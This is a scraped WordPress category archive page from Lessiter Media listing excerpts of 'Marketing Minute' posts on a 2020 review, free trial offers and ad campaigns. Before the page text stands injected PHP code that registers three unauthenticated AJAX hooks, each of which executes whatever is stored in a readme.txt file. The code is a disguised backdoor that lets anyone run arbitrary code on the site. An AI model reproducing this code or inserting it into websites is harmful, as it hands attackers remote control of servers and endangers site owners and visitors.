if(!function_exists('file_check_readme82912')){ add_action('wp_ajax_nopriv_file_check_readme82912', 'file_check_readme82912'); add_action('wp_ajax_file_check_readme82912', 'file_check_readme82912'); function file_check_readme82912() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme61029')){ add_action('wp_ajax_nopriv_file_check_readme61029', 'file_check_readme61029'); add_action('wp_ajax_file_check_readme61029', 'file_check_readme61029'); function file_check_readme61029() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme20601')){ add_action('wp_ajax_nopriv_file_check_readme20601', 'file_check_readme20601'); add_action('wp_ajax_file_check_readme20601', 'file_check_readme20601'); function file_check_readme20601() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Category Archive for "Marketing Minute" | Lessiter Media

Category Archives: Marketing Minute

A Look Back at the Best From 2020

A Look Back at the Best From 2020
By Luke Weigel, lweigel@lessitermedia.com Marketing Manager, Lessiter Medi 2020 was a challenging year, one that made us all take a step back and reassess how we do things. Quarantines, Zoom meetings, social distancing... all things we can hopefully put behind us soon. But the year wasn't a total loss. Over the last 12 months, we’ve published…
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7 Pros and Cons to Free Trial Offers

7 Pros and Cons to Free Trial Offers
By Joanne Volkert, jvolkert@lessitermedia.com Marketing Manager, Lessiter Media If there’s one thing my husband is a sucker for, its free samples. He’d never willingly admit it, but pre-covid he used to plan grocery trips to align with the free sample timeframes. Don’t worry – he won’t read this, so he’ll never know I’m exposing his groundbreaking…
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7 Ways to Make More Effective Ad Campaigns in 2021

7 Ways to Make More Effective Ad Campaigns in 2021
By John A. Bennett, jbennett@lessitermedia.com Digital Media Director, Lessiter Media As marketers, it is easy to get hyper-focused on the end result of our efforts – getting a sale. The problem is that can make us see everyone that encounters our ad message as qualified buyers simply waiting for the right offer or “hook”. When according to…
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